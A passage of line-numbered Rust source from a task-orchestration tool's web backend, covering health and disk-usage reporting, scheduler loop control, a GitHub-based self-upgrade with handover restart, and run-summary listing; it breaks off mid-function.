2753 Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2754 None => format!("run {id} is finishing"),
2755 });
2756 let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2757 .filter(|t| parking && !t.is_empty())
2758 .map(|t| format!("{t} finishing"));
2759 let waiting_on = match (run_text, talks_text) {
2760 (None, None) => None,
2761 (run, talks) => {
2762 let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2763 Some(format!(
2764 "{} before the address is handed over{waited}",
2765 parts.join(" and ")
2766 ))
2767 }
2768 };
2769 let detail = progress
2770 .detail
2771 .clone()
2772 .or_else(|| updater::read_note(&ui.home, &progress));
2773 let stalled = updater::stall(&progress, lease.as_ref(), now);
2774 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2775 UpgradeProgressView {
2776 trigger: progress.trigger,
2777 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2778 stuck_kind: stalled.map(|s| s.kind),
2779 handover_alive: alive.is_some(),
2780 stage: progress.stage,
2781 from: progress.from,
2782 to: progress.to,
2783 waiting_on,
2784 started_at: progress.started_at,
2785 updated_at: progress.updated_at,
2786 detail,
2787 }
2788}
2789
2790#[derive(Debug, Serialize)]
2793struct DiskView {
2794 #[serde(skip_serializing_if = "Option::is_none")]
2796 free_bytes: Option<u64>,
2797 runs_bytes: Option<u64>,
2799 worktrees_bytes: Option<u64>,
2801 #[serde(skip_serializing_if = "Option::is_none")]
2803 cache_bytes: Option<u64>,
2804 retention: Option<crate::retention::Report>,
2806}
2807
2808const DISK_REFRESH: Duration = Duration::from_secs(60);
2811
2812#[derive(Debug, Clone, PartialEq, Eq)]
2813struct DiskScope {
2814 runs: PathBuf,
2815 worktrees: PathBuf,
2816 cache: Option<PathBuf>,
2817}
2818
2819impl DiskScope {
2820 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2821 Self {
2822 runs: ui.runs.clone(),
2823 worktrees: ui.worktrees_root.clone(),
2824 cache: cfg.and_then(Config::cache_dir),
2825 }
2826 }
2827}
2828
2829#[derive(Debug, Clone, Copy, Default)]
2830struct DiskCapacity {
2831 free_bytes: Option<u64>,
2832 runs_bytes: Option<u64>,
2833 worktrees_bytes: Option<u64>,
2834 cache_bytes: Option<u64>,
2835}
2836
2837impl DiskCapacity {
2838 fn measure(scope: &DiskScope) -> Self {
2839 Self {
2840 free_bytes: crate::disk::free_bytes(&scope.runs).ok(),
2841 runs_bytes: disk_capacity_size(&scope.runs),
2842 worktrees_bytes: disk_capacity_size(&scope.worktrees),
2843 cache_bytes: scope.cache.as_deref().and_then(disk_capacity_size),
2844 }
2845 }
2846
2847 fn retain_successes(&mut self, next: Self) {
2848 self.free_bytes = next.free_bytes.or(self.free_bytes);
2849 self.runs_bytes = next.runs_bytes.or(self.runs_bytes);
2850 self.worktrees_bytes = next.worktrees_bytes.or(self.worktrees_bytes);
2851 self.cache_bytes = next.cache_bytes.or(self.cache_bytes);
2852 }
2853}
2854
2855fn disk_capacity_size(path: &FsPath) -> Option<u64> {
2858 let metadata = match std::fs::symlink_metadata(path) {
2859 Ok(metadata) => metadata,
2860 Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Some(0),
2861 Err(_) => return None,
2862 };
2863 if !metadata.is_dir() {
2864 return Some(if metadata.is_file() {
2865 metadata.len()
2866 } else {
2867 0
2868 });
2869 }
2870 let mut total = 0;
2871 let mut stack = vec![path.to_owned()];
2872 while let Some(dir) = stack.pop() {
2873 for entry in std::fs::read_dir(dir).ok()? {
2874 let entry = entry.ok()?;
2875 let metadata = entry.metadata().ok()?;
2876 if metadata.is_dir() {
2877 stack.push(entry.path());
2878 } else if metadata.is_file() {
2879 total += metadata.len();
2880 }
2881 }
2882 }
2883 Some(total)
2884}
2885
2886#[derive(Debug, Default)]
2887struct DiskObservation {
2888 scope: Option<DiskScope>,
2889 capacity: DiskCapacity,
2890 in_flight: bool,
2891 finished: Option<std::time::Instant>,
2892}
2893
2894impl DiskObservation {
2895 fn observe(
2896 state: &Arc<Mutex<Self>>,
2897 scope: DiskScope,
2898 measure: impl FnOnce(&DiskScope) -> DiskCapacity + Send + 'static,
2899 ) -> DiskCapacity {
2900 let mut observation = state.lock().unwrap_or_else(PoisonError::into_inner);
2901 if observation.scope.as_ref() != Some(&scope) {
2902 observation.scope = Some(scope.clone());
2903 observation.capacity = DiskCapacity::default();
2904 observation.finished = None;
2905 }
2906 let capacity = observation.capacity;
2907 if observation.in_flight
2908 || observation
2909 .finished
2910 .is_some_and(|at| at.elapsed() < DISK_REFRESH)
2911 {
2912 return capacity;
2913 }
2914 observation.in_flight = true;
2915 drop(observation);
2916
2917 let refresh = DiskRefresh {
2918 state: Arc::clone(state),
2919 scope,
2920 };
2921 tokio::task::spawn_blocking(move || {
2922 let next = measure(&refresh.scope);
2923 let mut observation = refresh.state.lock().unwrap_or_else(PoisonError::into_inner);
2924 if observation.scope.as_ref() == Some(&refresh.scope) {
2925 observation.capacity.retain_successes(next);
2926 }
2927 drop(observation);
2928 drop(refresh);
2931 });
2932 capacity
2933 }
2934}
2935
2936struct DiskRefresh {
2937 state: Arc<Mutex<DiskObservation>>,
2938 scope: DiskScope,
2939}
2940
2941impl Drop for DiskRefresh {
2942 fn drop(&mut self) {
2943 let mut observation = self.state.lock().unwrap_or_else(PoisonError::into_inner);
2944 observation.in_flight = false;
2945 if observation.scope.as_ref() == Some(&self.scope) {
2946 observation.finished = Some(std::time::Instant::now());
2948 }
2949 }
2950}
2951
2952impl DiskView {
2953 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2955 let capacity = DiskObservation::observe(
2956 &ui.monitor.disk,
2957 DiskScope::of(ui, cfg),
2958 DiskCapacity::measure,
2959 );
2960 Self::with_capacity(ui, capacity)
2961 }
2962
2963 fn with_capacity(ui: &Ui, capacity: DiskCapacity) -> Self {
2964 Self {
2965 free_bytes: crate::disk::free_bytes(&ui.runs)
2966 .ok()
2967 .or(capacity.free_bytes),
2968 runs_bytes: capacity.runs_bytes,
2969 worktrees_bytes: capacity.worktrees_bytes,
2970 cache_bytes: capacity.cache_bytes,
2971 retention: ui
2972 .runs
2973 .parent()
2974 .and_then(|home| std::fs::read(home.join("retention.json")).ok())
2975 .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
2976 }
2977 }
2978}
2979
2980#[derive(Debug, Serialize)]
2982struct DaemonView {
2983 running: bool,
2984 idle: Option<bool>,
2985 pid: Option<u32>,
2986 current: Vec<daemon::Current>,
2990 completed: Option<u64>,
2991 stale_for_secs: Option<i64>,
2992}
2993
2994impl DaemonView {
2995 fn of(status: Option<daemon::Reading>) -> Self {
2999 let Some(status) = status else {
3000 return Self {
3001 running: false,
3002 idle: None,
3003 pid: None,
3004 current: Vec::new(),
3005 completed: None,
3006 stale_for_secs: None,
3007 };
3008 };
3009 let now = Timestamp::now();
3010 let age = status.age_secs(now);
3011 Self {
3012 running: status.running(now),
3013 idle: Some(status.idle),
3014 pid: status.pid,
3015 current: status.current,
3016 completed: Some(status.completed),
3017 stale_for_secs: age,
3018 }
3019 }
3020}
3021
3022fn refresh_health_config(ui: &Arc<Ui>) {
3025 let mut cache = ui
3026 .monitor
3027 .disk_cache
3028 .lock()
3029 .unwrap_or_else(PoisonError::into_inner);
3030 if cache.loading
3031 || cache
3032 .measured
3033 .is_some_and(|at| at.elapsed() < Duration::from_secs(60))
3034 {
3035 return;
3036 }
3037 cache.loading = true;
3038 let weak = Arc::downgrade(ui);
3039 std::thread::spawn(move || {
3040 let Some(ui) = weak.upgrade() else { return };
3041 let cfg = deputy_config(&ui.repo);
3042 let update = cached_update_view(cfg.as_ref());
3043 let mut cache = ui
3044 .monitor
3045 .disk_cache
3046 .lock()
3047 .unwrap_or_else(PoisonError::into_inner);
3048 cache.config = cfg;
3049 cache.update = Some(update);
3050 cache.measured = Some(std::time::Instant::now());
3051 cache.loading = false;
3052 });
3053}
3054
3055fn health_counts(
3056 ui: &Ui,
3057 fallback_questions_rev: u64,
3058) -> ApiResult<(usize, usize, usize, u64, usize)> {
3059 let mut index = ui
3060 .monitor
3061 .health_index
3062 .lock()
3063 .unwrap_or_else(PoisonError::into_inner);
3064 let ids = run_ids(&ui.runs);
3065 let seen: HashSet<_> = ids.iter().cloned().collect();
3066 index.runs.retain(|id, _| seen.contains(id));
3067 let mut unreadable = 0;
3068 for id in ids {
3069 let identity = file_identity(&ui.runs.join(&id).join("run.json"));
3072 let bad = match identity {
3073 Ok(identity) => {
3074 if index.runs.get(&id).is_none_or(|(old, _)| *old != identity) {
3075 let bad = read_run(&ui.runs, &id).is_err();
3076 index.runs.insert(id.clone(), (identity, bad));
3077 #[cfg(test)]
3078 {
3079 index.run_parses += 1;
3080 }
3081 }
3082 index.runs[&id].1
3083 }
3084 Err(_) => true,
3085 };
3086 unreadable += usize::from(bad);
3087 }
3088 let questions_rev = try_stamps(ui.questions.root(), false, true)
3089 .map(|stamps| stamps_revision(&stamps))
3090 .unwrap_or(fallback_questions_rev);
3091 if index.questions.as_ref().is_none_or(|counts| {
3092 counts.revision != questions_rev || counts.measured.elapsed() >= QUESTION_COUNTS_TTL
3093 }) {
3094 let questions = ui.questions.list();
3095 index.questions = Some(QuestionCounts {
3096 revision: questions_rev,
3097 measured: std::time::Instant::now(),
3098 open: questions.iter().filter(|q| q.status.open()).count(),
3099 owner: questions
3100 .iter()
3101 .filter(|q| {
3102 q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
3103 })
3104 .count(),
3105 });
3106 }
3107 let notifications_rev =
3108 stamps_revision(&try_stamps(ui.notices.root(), false, true).map_err(anyhow::Error::from)?);
3109 if index
3110 .notices
3111 .is_none_or(|(rev, _)| rev != notifications_rev)
3112 {
3113 index.notices = Some((notifications_rev, ui.notices.count_unread()));
3114 }
3115 let questions = index.questions.as_ref().unwrap();
3116 Ok((
3117 unreadable,
3118 questions.open,
3119 questions.owner,
3120 notifications_rev,
3121 index.notices.unwrap().1,
3122 ))
3123}
3124
3125async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
3126 let revisions = ui.monitor.revisions(&ui).await?;
3127 refresh_health_config(&ui);
3128 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
3129 let reading = daemon::read_status(&ui.home);
3133 let loop_rev = ui.lock_loop().rev;
3137 let (
3138 runs_unreadable,
3139 questions_open,
3140 questions_needs_owner,
3141 notifications_rev,
3142 notifications_unread,
3143 ) = health_counts(&ui, revisions.2)?;
3144 let ((cfg, config_observed, sizes, measured), update) = {
3145 let cache = ui
3146 .monitor
3147 .disk_cache
3148 .lock()
3149 .unwrap_or_else(PoisonError::into_inner);
3150 (
3151 (
3152 cache.config.clone(),
3153 cache.measured.is_some(),
3154 cache.disk.clone(),
3155 cache.measured,
3156 ),
3157 cache.update.clone().unwrap_or(UpdateView {
3158 available: false,
3159 to: None,
3160 }),
3161 )
3162 };
3163 let prior_capacity = {
3167 let mut observation = ui
3168 .monitor
3169 .disk
3170 .lock()
3171 .unwrap_or_else(PoisonError::into_inner);
3172 if observation.scope.is_none()
3175 && let Some(sizes) = sizes
3176 {
3177 observation.scope = Some(DiskScope::of(&ui, cfg.as_ref()));
3178 observation.capacity = DiskCapacity {
3179 runs_bytes: Some(sizes.runs),
3180 worktrees_bytes: Some(sizes.worktrees),
3181 cache_bytes: sizes.cache,
3182 free_bytes: None,
3183 };
3184 observation.finished = measured;
3185 }
3186 observation.scope.as_ref().map(|_| observation.capacity)
3187 };
3188 let disk = if config_observed {
3189 serde_json::to_value(DiskView::of(&ui, cfg.as_ref())).ok()
3190 } else {
3191 serde_json::to_value(DiskView::with_capacity(
3192 &ui,
3193 prior_capacity.unwrap_or_default(),
3194 ))
3195 .ok()
3196 };
3197 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
3198 let jobs = crate::worker::active(&ui.home).map_err(ApiError::from)?;
3199 #[cfg(not(test))]
3200 let looping = ui.runtime_loop_view(reading.clone(), &jobs);
3201 #[cfg(test)]
3202 let looping = ui.loop_view(reading.clone());
3203 Ok(Json(HealthView {
3204 jobs: jobs.into_iter().map(WorkerView::from).collect(),
3205 version: env!("CARGO_PKG_VERSION"),
3206 home: ui.home.display().to_string(),
3207 queue_rev: revisions.0,
3208 runs_rev: revisions.1,
3209 questions_rev: revisions.2,
3210 talks_rev: revisions.3,
3211 notifications_rev,
3212 notifications_unread,
3213 loop_rev,
3214 runs_unreadable,
3215 questions_open,
3216 questions_needs_owner,
3217 daemon: DaemonView::of(reading.clone()),
3218 looping,
3219 disk,
3220 update,
3221 upgrade,
3222 upgrade_request_error: ui
3223 .upgrade_request_error
3224 .lock()
3225 .unwrap_or_else(PoisonError::into_inner)
3226 .clone(),
3227 }))
3228 })
3229 .await
3230}
3231
3232#[derive(Debug, Serialize)]
3234struct LoopView {
3235 running: bool,
3237 stopping: bool,
3239 parking: bool,
3241 owned: bool,
3243 repo: String,
3246 merge: Option<String>,
3249 last_error: Option<String>,
3257 daemon: DaemonView,
3260}
3261
3262#[derive(Debug, Clone, Copy)]
3267struct Foreign {
3268 pid: Option<u32>,
3270}
3271
3272impl Foreign {
3273 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
3276 if reading.is_some_and(|r| r.worker_protocol.unwrap_or_default() >= 1) {
3280 return None;
3281 }
3282 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
3283 }
3284
3285 fn who(&self) -> String {
3288 match self.pid {
3289 Some(pid) => format!("another magi process (pid {pid})"),
3290 None => "another magi process".to_owned(),
3291 }
3292 }
3293}
3294
3295type UpgradeRunner = fn(PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3300
3301#[cfg(test)]
3302type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3303
3304#[cfg(test)]
3306fn launch_daemon(
3307 opts: daemon::Opts,
3308 stop: daemon::Stop,
3309) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3310 Box::pin(daemon::serve_until(opts, stop))
3311}
3312
3313#[derive(Debug, Default)]
3315struct LoopState {
3316 #[cfg(test)]
3318 live: Option<Live>,
3319 rev: u64,
3322 last_error: Option<String>,
3325}
3326
3327#[cfg(test)]
3329#[derive(Debug)]
3330struct Live {
3331 stop: daemon::Stop,
3333 handle: tokio::task::JoinHandle<()>,
3338 opts: daemon::Opts,
3342}
3343
3344#[cfg(test)]
3345impl Live {
3346 fn alive(&self) -> bool {
3348 !self.handle.is_finished()
3349 }
3350}
3351
3352fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
3359 state.lock().unwrap_or_else(PoisonError::into_inner)
3360}
3361
3362async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
3364 blocking(move || {
3365 let reading = daemon::read_status(&ui.home);
3366 #[cfg(not(test))]
3367 let view = ui.try_loop_view(reading)?;
3368 #[cfg(test)]
3369 let view = ui.loop_view(reading);
3370 Ok(Json(view))
3371 })
3372 .await
3373}
3374
3375#[derive(Debug, Deserialize)]
3381#[serde(deny_unknown_fields)]
3382struct LoopCommand {
3383 running: bool,
3384 #[serde(default)]
3394 park: bool,
3395}
3396
3397async fn loop_post(
3400 State(ui): State<Arc<Ui>>,
3401 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
3402) -> ApiResult<Json<LoopView>> {
3403 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3406 #[cfg(not(test))]
3407 {
3408 if body.running {
3409 ui.start_detached_loop().await?;
3410 } else {
3411 let foreign = Foreign::of(daemon::read_status(&ui.home).as_ref());
3412 ui.stop_loop(foreign, body.park)?;
3413 }
3414 Ok(Json(ui.try_loop_view(daemon::read_status(&ui.home))?))
3415 }
3416 #[cfg(test)]
3417 {
3418 blocking(move || {
3419 let reading = daemon::read_status(&ui.home);
3420 let foreign = Foreign::of(reading.as_ref());
3421 if body.running {
3422 ui.start_loop(foreign)?;
3423 } else {
3424 ui.stop_loop(foreign, body.park)?;
3425 }
3426 Ok(Json(ui.loop_view(reading)))
3427 })
3428 .await
3429 }
3430}
3431
3432#[derive(Debug, Serialize)]
3434struct UpgradeView {
3435 from: String,
3437 to: Option<String>,
3439 detail: String,
3441}
3442
3443fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3446 progress.filter(|p| !p.stage.terminal())
3447}
3448
3449fn upgrade_retry_after(message: &str) -> Option<u64> {
3452 if !message.contains("GitHub") || !message.contains("rate limit") {
3453 return None;
3454 }
3455 if message.contains("retry now") {
3456 return Some(0);
3457 }
3458 let duration = message
3459 .split_once("resets in ")
3460 .or_else(|| message.split_once("retry after "))?
3461 .1
3462 .split_once(')')?
3463 .0;
3464 let mut rest = duration.trim();
3465 if rest.is_empty() {
3466 return None;
3467 }
3468 let mut total = 0u64;
3469 while !rest.is_empty() {
3470 let n = rest.find(|c: char| !c.is_ascii_digit())?;
3471 let amount: u64 = rest[..n].parse().ok()?;
3472 let scale = match rest[n..].chars().next()? {
3473 's' => 1,
3474 'm' => 60,
3475 'h' => 3600,
3476 'd' => 86400,
3477 _ => return None,
3478 };
3479 total = total.checked_add(amount.checked_mul(scale)?)?;
3480 rest = rest[n + 1..].trim_start();
3481 }
3482 Some(total)
3483}
3484
3485#[derive(Debug, Clone, Serialize)]
3486struct UpgradeRequestFailure {
3487 occurred_at: String,
3488 error: String,
3489 retry_after_secs: Option<u64>,
3490 retry_at: Option<u64>,
3492}
3493
3494impl UpgradeRequestFailure {
3495 fn new(error: String) -> Self {
3496 let retry_after_secs = upgrade_retry_after(&error);
3497 let now = std::time::SystemTime::now()
3498 .duration_since(std::time::UNIX_EPOCH)
3499 .unwrap_or_default()
3500 .as_secs();
3501 Self {
3502 occurred_at: jiff::Timestamp::now().to_string(),
3503 error,
3504 retry_after_secs,
3505 retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3506 }
3507 }
3508}
3509
3510async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3523 begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None).await
3524}
3525
3526async fn begin_upgrade(
3527 ui: &Arc<Ui>,
3528 trigger: updater::UpgradeTrigger,
3529 latest: Option<kaishin::LatestRelease>,
3530) -> Response {
3531 let reading = daemon::read_status(&ui.home);
3532 if let Some(other) = Foreign::of(reading.as_ref()) {
3533 return ApiError::conflict(format!(
3534 "{} is a legacy scheduler without detached restart support. \
3535 Finish or explicitly park its work in the existing UI before \
3536 this first migration; independent schedulers do not need this.",
3537 other.who()
3538 ))
3539 .into_response();
3540 }
3541
3542 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3547 return ApiError::conflict("another request is already preparing an upgrade")
3548 .into_response();
3549 };
3550 if trigger == updater::UpgradeTrigger::Auto {
3553 let cfg = match Config::discover(&ui.repo, None) {
3554 Ok((cfg, _)) => cfg,
3555 Err(e) => {
3556 return ApiError::internal(format!("auto-upgrade config: {e:#}")).into_response();
3557 }
3558 };
3559 let Some(latest) = latest else {
3560 return StatusCode::NO_CONTENT.into_response();
3561 };
3562 let busy = ui.auto_upgrade_busy();
3563 let failed = ui
3564 .auto_failed_tag
3565 .lock()
3566 .unwrap_or_else(PoisonError::into_inner)
3567 .clone();
3568 let decision = auto_upgrade_decision(
3569 &cfg.update,
3570 updater::disabled_by_env(),
3571 ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst)
3572 || upgrade_in_motion(updater::read_progress(&ui.home).as_ref()).is_some(),
3573 busy,
3574 &latest.tag_name,
3575 failed.as_deref(),
3576 );
3577 if decision != AutoUpgradeDecision::Trigger {
3578 let reason = match decision {
3579 AutoUpgradeDecision::Wait => "busy; waiting for runs and chats to finish",
3580 AutoUpgradeDecision::Skip(reason) => reason,
3581 AutoUpgradeDecision::Trigger => unreachable!(),
3582 };
3583 updater::log_step(&ui.home, &format!("auto-upgrade: {reason}"));
3584 return StatusCode::NO_CONTENT.into_response();
3585 }
3586 ui.upgrade_spawned
3590 .store(true, std::sync::atomic::Ordering::SeqCst);
3591 if ui.auto_upgrade_busy() {
3592 ui.upgrade_spawned
3593 .store(false, std::sync::atomic::Ordering::SeqCst);
3594 updater::log_step(&ui.home, "auto-upgrade: work started; waiting for idle");
3595 return StatusCode::NO_CONTENT.into_response();
3596 }
3597 updater::log_step(&ui.home, "auto-upgrade: idle; beginning update and restart");
3598 return finish_upgrade_request(
3599 ui,
3600 upgrade_checked_for(
3601 ui,
3602 env!("CARGO_PKG_VERSION").into(),
3603 Ok(Some(latest)),
3604 trigger,
3605 ),
3606 );
3607 }
3608 finish_upgrade_request(ui, upgrade_prepare(ui).await)
3609}
3610
3611fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3612 match result {
3613 Ok(out) => {
3614 *ui.upgrade_request_error
3615 .lock()
3616 .unwrap_or_else(PoisonError::into_inner) = None;
3617 out.into_response()
3618 }
3619 Err(error) if error.status != StatusCode::CONFLICT => {
3620 let failure = UpgradeRequestFailure::new(error.message);
3621 *ui.upgrade_request_error
3622 .lock()
3623 .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3624 let mut response = (error.status, Json(&failure)).into_response();
3625 if let Some(value) = failure
3626 .retry_after_secs
3627 .and_then(|secs| secs.to_string().parse().ok())
3628 {
3629 response.headers_mut().insert("retry-after", value);
3630 }
3631 response
3632 }
3633 Err(error) => error.into_response(),
3634 }
3635}
3636
3637async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3638 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3639 return Err(ApiError::conflict(
3640 "an upgrade is already in progress (this process started one and it \
3641 has not finished or failed yet)",
3642 ));
3643 }
3644 let recorded = updater::read_progress(&ui.home);
3645 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3646 return Err(ApiError::conflict(format!(
3647 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3648 stays stuck, restart the deck; on start it settles a stale record.",
3649 p.stage.as_str(),
3650 p.from,
3651 p.to.as_deref().unwrap_or("?"),
3652 )));
3653 }
3654
3655 if crate::updater::disabled_by_env() {
3661 return Ok((
3662 StatusCode::OK,
3663 Json(UpgradeView {
3664 from: env!("CARGO_PKG_VERSION").to_owned(),
3665 to: None,
3666 detail: format!(
3667 "Automatic updates are disabled by {}. Nothing was parked \
3668 and nothing restarted.",
3669 crate::updater::NO_AUTOUPDATE_ENV
3670 ),
3671 }),
3672 ));
3673 }
3674
3675 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3678 let from = env!("CARGO_PKG_VERSION").to_owned();
3679 let latest = match crate::updater::Checker::new(&cfg.update) {
3680 Some(checker) => checker.newer_release().await,
3681 None => Ok(None),
3682 };
3683 upgrade_checked(ui, from, latest)
3684}
3685
3686fn upgrade_checked(
3687 ui: &Arc<Ui>,
3688 from: String,
3689 latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3690) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3691 upgrade_checked_for(ui, from, latest, updater::UpgradeTrigger::Manual)
3692}
3693
3694fn upgrade_checked_for(
3695 ui: &Arc<Ui>,
3696 from: String,
3697 latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3698 trigger: updater::UpgradeTrigger,
3699) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3700 let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3701 let Some(latest) = latest else {
3702 return Ok((
3703 StatusCode::OK,
3704 Json(UpgradeView {
3705 from,
3706 to: None,
3707 detail: "Already on the newest release. Nothing was parked \
3708 and nothing restarted."
3709 .to_owned(),
3710 }),
3711 ));
3712 };
3713
3714 let detail = "Downloading the release, then restarting web and scheduler. Active task and chat workers keep running on their started executable; nothing is parked.".to_owned();
3715
3716 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3720 progress.trigger = trigger;
3721 updater::write_progress_logged(&ui.home, &progress);
3722
3723 let home = ui.home.clone();
3724 ui.upgrade_spawned
3725 .store(true, std::sync::atomic::Ordering::SeqCst);
3726 let spawned = Arc::clone(&ui.upgrade_spawned);
3727 let runner = ui.upgrade_runner;
3728 let failed = ui.auto_failed_tag.clone();
3729 let tag = latest.tag_name.clone();
3730 tokio::spawn(async move {
3731 if let Err(e) = runner(home.clone()).await {
3732 if trigger == updater::UpgradeTrigger::Auto {
3733 *failed.lock().unwrap_or_else(PoisonError::into_inner) = Some(tag);
3734 }
3735 tracing::error!("the upgrade did not complete: {e:#}");
3736 let _ = updater::fail_progress(&home, &format!("{e:#}"));
3740 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3742 }
3743 });
3744
3745 Ok((
3746 StatusCode::ACCEPTED,
3747 Json(UpgradeView {
3748 from,
3749 to: Some(latest.tag_name),
3750 detail,
3751 }),
3752 ))
3753}
3754
3755async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3760 crate::updater::run_self_update(true, false, true).await?;
3763 updater::log_step(&home, "binary replaced - recording the replaced stage");
3764 if let Some(mut progress) = updater::read_progress(&home) {
3765 progress.advance(updater::Stage::Replaced);
3766 updater::write_progress_logged(&home, &progress);
3767 }
3768 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3769 HANDOVER.notify_one();
3770 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3771 Ok(())
3772}
3773
3774#[derive(Debug, Serialize)]
3780struct RunSummary {
3781 id: String,
3782 short: String,
3783 status: String,
3784 done: bool,
3785 instruction: String,
3786 title: String,
3787 repo: String,
3788 repo_name: String,
3789 created_at: String,
3790 updated_at: String,
3791 candidates: usize,
3792 viable: usize,
3793 judges: usize,
3794 winner: Option<char>,
3795 reviews: usize,
3796 quota_losses: usize,
3797 event: Option<String>,
3798 superseded_by: Option<String>,
3803 waiting: bool,
3810 live: crate::run::Liveness,
3814 pr: Option<crate::run::PrRecord>,
3816 unmerged_by_design: bool,
3822 #[serde(default)]
3825 display_status: String,
3826 #[serde(default)]
3829 badge_status: String,
3830 origin_label: String,
3833}
3834
3835impl RunSummary {
3836 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3837 Self {
3838 id: state.id.clone(),
3839 short: state.short().to_owned(),
3840 status: status_word(state.status),
3841 done: state.status.done(),
3842 unmerged_by_design: state.unmerged_by_design(),
3843 display_status: run_display_status(state, waiting, live),
3844 badge_status: run_display_status(state, waiting, live),
3845 instruction: state.instruction.clone(),
3846 title: title_from(&state.instruction, TITLE_MAX),
3847 repo: state.repo.display().to_string(),
3848 repo_name: state
3849 .repo
3850 .file_name()
3851 .map(|n| n.to_string_lossy().into_owned())
3852 .unwrap_or_default(),
3853 created_at: state.created_at.to_string(),
3854 updated_at: state.updated_at.to_string(),
3855 candidates: state.candidates.len(),
3856 viable: state.viable().len(),
3857 judges: state.config.graph.judges,
3858 winner: state.winner().map(|c| c.label),
3859 reviews: state.reviews.len(),
3860 quota_losses: state.quota.len(),
3861 event: state
3862 .verification_blocking_cause()
3863 .or_else(|| state.events.last().map(|e| e.message.clone())),
3864 waiting,
3865 live,
3866 superseded_by: None,
3869 pr: state.pr.clone(),
3870 origin_label: crate::run::origin_label(state.origin.as_ref()),
3871 }
3872 }
3873}
3874
3875fn status_word(status: RunStatus) -> String {
3878 status.as_str().to_owned()
3882}
3883
3884fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3890 if waiting {
3891 return "waiting".to_owned();
3892 }
3893 if state.unmerged_by_design() {
3894 return "unmerged".to_owned();
3895 }
3896 if !state.status.done() && live == crate::run::Liveness::Dead {
3897 if state.parked {
3900 return "parked".to_owned();
3901 }
3902 return "stale".to_owned();
3903 }
3904 status_word(state.status)
3905}
3906
3907fn run_badge_status(
3915 state: &RunState,
3916 display_status: &str,
3917 live: crate::run::Liveness,
3918 superseded: bool,
3919) -> String {
3920 if state.status.done() || live == crate::run::Liveness::Live {
3921 return display_status.to_owned();
3922 }
3923 if superseded {
3924 return "superseded".to_owned();
3925 }
3926 if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3930 return "stale".to_owned();
3931 }
3932 display_status.to_owned()
3933}
3934
3935#[derive(Debug, Deserialize)]
3937struct ListQuery {
3938 #[serde(default)]
3939 limit: Option<usize>,
3940 ids: Option<String>,
3942}
3943
3944impl ListQuery {
3945 fn contains(&self, id: &str) -> bool {
3946 self.ids
3947 .as_ref()
3948 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3949 }
3950}
3951
3952async fn runs_list(
3953 State(ui): State<Arc<Ui>>,
3954 Query(q): Query<ListQuery>,
3955) -> ApiResult<Json<Vec<RunSummary>>> {
3956 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3957 blocking(move || {
3958 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3959 let states = run_ids(&ui.runs)
3960 .into_iter()
3961 .filter_map(|id| read_run(&ui.runs, &id).ok())
3966 .take(limit)
3967 .filter(|run| q.contains(&run.id));
3968 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3969 let summaries = summarize(
3970 states,
3971 &open_runs,
3972 &claimed,
3973 &superseded,
3974 |p| probe.borrow_mut().status(p),
3975 |p| probe.borrow_mut().started_at(p),
3976 );
3977 Ok(Json(summaries))
3978 })
3979 .await
3980}
3981
3982fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
3987 let open_runs: HashSet<String> = ui
